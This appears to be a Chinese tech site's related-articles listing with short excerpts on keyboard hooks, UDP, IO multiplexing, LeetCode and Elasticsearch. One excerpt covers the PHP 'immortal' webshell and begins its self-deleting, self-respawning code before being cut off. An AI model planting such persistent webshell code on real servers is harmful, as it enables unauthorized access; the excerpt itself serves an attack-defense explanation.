相关文章
c++实现键盘hook
c++实现键盘hook 项目中用到监控键盘事件,但是,有一次自己的程序被其他置顶程序把按键事件给过滤了,所以需要添加监控键盘钩子的方法,代码样例如下:#include <iostream>
#include <Windows.h>// 全局键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCod…
建站知识
2024/11/14 17:24:18
全面解析UDP协议(特点、报文格式、UDP和TCP的区别)
了解UDP(User Datagram Protocol)
UDP是无连接通信协议,即在数据传输时,数据的发送端和接收端不建立逻辑连接。简单来说,当一台计算机向另外一台计算机发送数据时,发送端不会确认接收端是否存在࿰…
建站知识
2024/11/28 2:31:04
买房需要了解的一些事
注:本文写于 2021年06月26日 是当时个人的看法, 因前段时间公众号全清空删除了,现在重新发出来。
近段时间二手房贷款全面收紧,对炒房行为应该能起到一定的抑制作用,个人觉得这是好事,(炒房客不…
建站知识
2024/10/28 21:46:03
探究IO多路复用select/poll/epoll的实现原理及优缺点
IO多路复用
多路指多个文件描述符,复用指使用一个线程。
IO多路复用通俗的理解就是一个线程监视多个文件描述符****,一旦某个文件描述符就绪,就通知应用程序对其进行读写操作。
select
select会将三个fd_set文件描述符集合(bitMap),即读集…
建站知识
2024/11/5 11:26:15
不死马的利用与克制(基于条件竞争)及变种不死马
不死马即内存马,它会写进进程里,并且无限地在指定目录中生成木马文件
这里以PHP不死马为例
测试代码:
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file .test.php;$code <?php if(md5($_GET["pass…
建站知识
2024/11/9 0:08:42
小黑开始了拉歌训练,第一次进入部室馆,被通知要去当主持人心里有些紧张的leetcode之旅:337. 打家劫舍 III
小黑代码(小黑卡在了bug中,上午一步步探索做出,非常NB!!!)
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val0, leftNone, rightNone):
# self.val val
# self.left lef…
建站知识
2024/10/31 6:19:33
【ElasticSearch】基于 Java 客户端 RestClient 实现对 ElasticSearch 索引库、文档的增删改查操作,以及文档的批量导入
文章目录 前言一、对 Java RestClient 的认识1.1 什么是 RestClient1.2 RestClient 核心类:RestHighLevelClient 二、使用 Java RestClient 操作索引库2.1 根据数据库表编写创建 ES 索引的 DSL 语句2.2 初始化 Java RestClient2.2.1 在 Spring Boot 项目中引入 Rest…
建站知识
2024/11/18 9:12:38